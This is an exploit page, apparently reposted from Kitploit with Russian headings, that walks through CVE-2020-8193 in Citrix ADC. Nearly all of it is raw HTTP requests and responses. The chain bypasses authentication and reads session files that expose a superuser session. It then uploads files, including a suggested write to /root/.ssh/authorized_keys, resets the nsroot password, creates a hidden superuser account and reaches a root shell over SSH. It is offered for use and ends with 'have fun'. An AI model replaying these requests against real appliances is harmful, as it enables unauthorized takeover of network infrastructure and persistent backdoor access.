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Citrix-ADC-RCE-CVE-2020-8193 — Citrix ADC: от обхода привилегий до RCE | Kitploit
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Citrix-ADC-RCE-CVE-2020-8193

Citrix ADC: от обхода привилегий до RCE

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4576 лет назадПроверено Kitploit

Citrix ADC RCE

0x01 CreateSession

`request```` POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 C845D9D38B3A68F4F74057DB542AD252 tx/2.0 Content-Length: 44 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Range: bytes=0-102400 X-Nitro-Pass: jr9bt X-Nitro-User: boej3

root@kitploit:~
`response````
HTTP/1.1 406 Not Acceptable
Date: Sun, 12 Jul 2020 07:52:00 GMT
Server: Apache/2.4.34 (Unix)
Set-Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8

<div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><?xml version="1.0"?>
<nitroResponse><errorcode>-1</errorcode><message>MISMATCH_OBJECTNAME_ERROR</message><severity>ERROR</severity></nitroResponse>
<div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><?xml version="1.0"?>
<nitroResponse><errorcode>-1</errorcode><message>MISMATCH_OBJECTNAME_ERROR</message><severity>ERROR</severity></nitroResponse>
<div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><?xml version="1.0"?>
<nitroResponse><errorcode>-1</errorcode><message>MISMATCH_OBJECTNAME_ERROR</message><severity>ERROR</severity></nitroResponse>
<div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><?xml version="1.0"?>
<nitroResponse><errorcode>-1</errorcode><message>MISMATCH_OBJECTNAME_ERROR</message><severity>ERROR</severity></nitroResponse>
<div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><div style="color: red; margin: 10px" title="More information about this error may be available in the server error log. Please contact the server administrator">An internal server error was encountered</div><?xml version="1.0"?>
<nitroResponse><errorcode>-1</errorcode><message>MISMATCH_OBJECTNAME_ERROR</message><severity>ERROR</severity></nitroResponse>

0x02 исправление сеанса

`request```` GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 C845D9D38B3A68F4F74057DB542AD252 tx/2.0 Accept-Encoding: gzip, deflate Connection: close Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57 Range: bytes=0-102400

root@kitploit:~

HTTP/1.1 302 Found Date: Sun, 12 Jul 2020 07:54:31 GMT Server: Apache/2.4.34 (Unix) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: is_cisco_platform=-1; expires=Wed, 07-Jul-2021 07:54:32 GMT; Max-Age=31104000; path=/; HttpOnly Location: /menu/neo Content-Length: 416 Connection: close Content-Type: text/html; charset=UTF-8

An internal server error was encountered
An internal server error was encountered
``` ## 0x03 Получить rand_key `request```` GET /menu/stc HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 C845D9D38B3A68F4F74057DB542AD252 tx/2.0 Accept-Encoding: gzip, deflate Connection: close Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57; is_cisco_platform=-1 Range: bytes=0-102400
root@kitploit:~

HTTP/1.1 206 Partial Content Date: Sun, 12 Jul 2020 07:54:35 GMT Server: Apache/2.4.34 (Unix) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4149/4150 Content-Length: 15501 Connection: close Content-Type: text/html; charset=UTF-8

Citrix ADC - Statistics ...

Error retrieving data.
return code = 354.
Error message = Invalid username or password.

root@kitploit:~
примечание: var rand = "181103693.1594540472072128";

## 0x04 Повторный взлом сессии
`request````
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.3.18:9080
User-Agent: python-requests/2.20.0
Content-Length: 44
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57; is_cisco_platform=-1
Range: bytes=0-102400
X-NITRO-USER: mMg96GTR
X-NITRO-PASS: QXom91tz

<appfwprofile><login></login></appfwprofile>

`response```` HTTP/1.1 406 Not Acceptable Date: Sun, 12 Jul 2020 07:54:49 GMT Server: Apache/2.4.34 (Unix) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 4489 Connection: close Content-Type: application/xml; charset=utf-8

An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
An internal server error was encountered
-1MISMATCH_OBJECTNAME_ERRORERROR
An internal server error was encountered
An internal server error was encountered
-1MISMATCH_OBJECTNAME_ERRORERROR
An internal server error was encountered
An internal server error was encountered
-1MISMATCH_OBJECTNAME_ERRORERROR
An internal server error was encountered
An internal server error was encountered
-1MISMATCH_OBJECTNAME_ERRORERROR
An internal server error was encountered
An internal server error was encountered
-1MISMATCH_OBJECTNAME_ERRORERROR ``` ## 0x05 Чтение каталога `request```` POST /rapi/filedownload?filter=path:%2Fvar%2Fnstmp HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: python-requests/2.20.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: N6RRf049 X-NITRO-PASS: FcdXbqXr rand_key: 32946879.1594556816473396 Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57; is_cisco_platform=0; startupapp=neo Content-Length: 31

root@kitploit:~
`response````
HTTP/1.1 406 Not Acceptable
Date: Sun, 12 Jul 2020 12:27:04 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: -1
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Pragma: private
Content-Disposition: attachment;filename="nstmp"
Accept-Ranges: bytes
Content-Length: 512
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: application/octet-stream

...
sess_6680400dad3be5585d4ac9880d5f634f...
sess_774dd8a02a254bd09c480cd0ba244598...
sess_6c5c31300c22b200f0273e7a13be47cb....

0x06 Чтение сессии

`resquest```` POST /rapi/filedownload?filter=path:%2Fvar%2Fnstmp%2Fsess_6c5c31300c22b200f0273e7a13be47cb HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: python-requests/2.20.0 Accept-Encoding: gzip, deflate Accept: / Connection: close Content-Type: application/xml X-NITRO-USER: N6RRf049 X-NITRO-PASS: FcdXbqXr rand_key: 32946879.1594556816473396 Cookie: SESSID=eb1780b044676f588dbcc2a6305f6b57; is_cisco_platform=0; startupapp=neo Content-Length: 31

root@kitploit:~
`response````
HTTP/1.1 406 Not Acceptable
Date: Sun, 12 Jul 2020 12:30:33 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: -1
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Pragma: private
Content-Disposition: attachment;filename="sess_6c5c31300c22b200f0273e7a13be47cb"
Accept-Ranges: bytes
Content-Length: 2162
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

NSAPI|s:254:"##703FFFA9A2E71F7435B67182A95E196770FF69246DB68B6BE92E825B8A520D00F1FCF6E23F897090DBDEDBE817FFE81D1501200A8BB36C9FFA176EDA41E473DC240A804B90B8BFE1EC30DA87C6FAD3261A8B3C09C7BB82F97DDB3DB41A69CA0B849AFD6B17827463358B700D5847F91F78619B8FA1A98ED4DED3509AB11C";NSAPI_DOMAIN|s:0:"";NSAPI_PATH|s:1:"/";login_warning|s:0:"";sysid|s:6:"450070";oemid|s:1:"0";superuser|s:4:"true";nsbw|i:0;ns_is_sgw|s:5:"false";nsbrandDesc|s:7:"ADC VPX";username|s:6:"nsroot";timezone_offset|i:28800;nsversion|s:63:" NS12.1: Build 55.13.nc, Date: Nov  4 2019, 22:20:18   (64-bit)";nsversion_error|b:0;ns_mode|i:2;nshostDesc|s:22:"49.234.251.224 (ADC01)";nsbrand|s:2:"NS";nsvpx|s:3:"VPX";ns_model|s:4:"1000";ns_aws_pin|s:0:"";ns_is_aws|s:5:"false";ns_is_azure|s:5:"false";ns_is_gcp|s:5:"false";rand|s:26:"845810655.1594556994263502";rand_key|s:26:"13590513441594556994263577";licenseMap|a:62:{s:2:"wl";b:1;s:2:"sp";b:1;s:2:"lb";b:1;s:2:"cs";b:1;s:2:"cr";b:1;s:2:"sc";b:1;s:3:"cmp";b:1;s:5:"delta";b:0;s:2:"pq";b:1;s:3:"ssl";b:1;s:4:"gslb";b:1;s:5:"gslbp";b:1;s:5:"hdosp";b:1;s:7:"routing";b:1;s:2:"cf";b:1;s:18:"contentaccelerator";b:0;s:2:"ic";b:0;s:6:"sslvpn";b:1;s:14:"f_sslvpn_users";s:4:"1000";s:11:"f_ica_users";s:1:"0";s:3:"aaa";b:1;s:4:"ospf";b:1;s:3:"rip";b:1;s:3:"bgp";b:1;s:7:"rewrite";b:1;s:6:"ipv6pt";b:1;s:5:"appfw";b:0;s:9:"responder";b:1;s:4:"agee";b:0;s:4:"nsxn";b:1;s:13:"htmlinjection";b:1;s:7:"modelid";s:4:"1000";s:4:"push";b:1;s:6:"wionns";b:1;s:7:"appflow";b:1;s:11:"cloudbridge";b:0;s:20:"cloudbridgeappliance";b:0;s:22:"cloudextenderappliance";b:0;s:4:"isis";b:1;s:7:"cluster";b:1;s:2:"ch";b:1;s:6:"appqoe";b:1;s:10:"appflowica";b:1;s:13:"isstandardlic";b:0;s:15:"isenterpriselic";b:1;s:13:"isplatinumlic";b:0;s:9:"issgwylic";b:0;s:8:"isswglic";b:0;s:4:"rise";b:1;s:3:"feo";b:1;s:3:"lsn";b:1;s:13:"licensingmode";s:5:"Local";s:16:"daystoexpiration";s:2:"50";s:8:"rdpproxy";b:1;s:3:"rep";b:0;s:12:"urlfiltering";b:0;s:17:"videooptimization";b:0;s:12:"forwardproxy";b:0;s:15:"sslinterception";b:0;s:23:"remotecontentinspection";b:1;s:11:"adaptivetcp";b:0;s:3:"cqa";b:0;}grouping_separator|s:1:",";decimal_separator|s:1:".";defaultpartition|s:7:"default";

0x07 UploadFile Getshell

Вы можете загрузить в /root/.ssh/authorized_key Примечание: Получите rand_key & SESSID из файла:sess_[32charactor] `request```` POST /rapi/uploadtext HTTP/1.1 Host: 192.168.3.18:9080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://citrix.local/menu/neo DNT: 1 rand_key: 845810655.1594556994263502 Cookie: SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 92

object={"uploadtext":{"filedir":"/tmp/","filedata":"123456","filename":"test123456789.txt"}}

root@kitploit:~
`response````
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 06:15:05 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 34
Content-Type: application/json; charset=utf-8

{"errorcode":"0","message":"Done"}

0x08 ChangePassword && SSH

`request```` PUT /nitro/v1/config/systemuser HTTP/1.1 Host: 192.168.3.18:9080 Content-Length: 83 Cache-Control: max-age=0 Accept: application/json rand_key: 845810655.1594556994263502 NITRO_WEB_APPLICATION: true If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 DNT: 1 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo Connection: close

{"params":{"warning":"YES"},"systemuser":{"username":"nsroot","password":"boiboi"}}

root@kitploit:~

HTTP/1.1 200 OK Date: Sun, 12 Jul 2020 12:37:56 GMT Server: Apache/2.4.34 (Unix) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 57 Connection: close Content-Type: application/json; charset=utf-8

{ "errorcode": 0, "message": "Done", "severity": "NONE" }

root@kitploit:~
`SSH````bash
ssh [email protected]
###############################################################################
#                                                                             #
#        WARNING: Access to this system is for authorized users only          #
#         Disconnect IMMEDIATELY if you are not an authorized user!           #
#                                                                             #
###############################################################################

Password:
Last login: Sun Jul 12 14:12:44 2020 from 192.168.3.1
 Done
 > shell
Copyright (c) 1992-2013 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
	The Regents of the University of California. All rights reserved.

root@localhost

0x08 CreateUser && SSH

`request:CreateUser```` POST /nitro/v1/config/systemuser HTTP/1.1 Host: 192.168.3.18:9080 Content-Length: 83 Cache-Control: max-age=0 Accept: application/json rand_key: 845810655.1594556994263502 NITRO_WEB_APPLICATION: true If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 DNT: 1 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo Connection: close

object={"params":{"warning":"YES"},"systemuser":{"username":"nsroot1","password":"nsroot1","timeout":"900","maxsession":"20","logging":"ENABLED","externalauth":"ENABLED"}}

root@kitploit:~
`response:CreateUser````
HTTP/1.1 201 Created
Date: Sun, 12 Jul 2020 12:46:55 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
X-XSS-Protection: 1; mode=block
Content-Length: 57
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8

{ "errorcode": 0, "message": "Done", "severity": "NONE" }

`request:binding superadmin policy```` POST /nitro/v1/config/systemuser_systemcmdpolicy_binding HTTP/1.1 Host: 192.168.3.18:9080 Content-Length: 83 Cache-Control: max-age=0 Accept: application/json rand_key: 845810655.1594556994263502 NITRO_WEB_APPLICATION: true If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 DNT: 1 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo Connection: close

object={"params":{"warning":"YES"},"systemuser_systemcmdpolicy_binding":{"policyname":"superuser","priority":"0","username":"nsroot1"}}

root@kitploit:~
`response:binding superadmin policy````
HTTP/1.1 201 Created
Date: Sun, 12 Jul 2020 12:55:27 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
X-XSS-Protection: 1; mode=block
Content-Length: 57
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8

{ "errorcode": 0, "message": "Done", "severity": "NONE" }

`SSH```` ssh [email protected] ###############################################################################

WARNING: Access to this system is for authorized users only

Disconnect IMMEDIATELY if you are not an authorized user!

###############################################################################

Password: Last login: Sun Jul 12 20:52:27 2020 from 47.75.37.35 Done

shell Copyright (c) 1992-2013 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved.

root@localhost#

root@kitploit:~
Веселитесь :)
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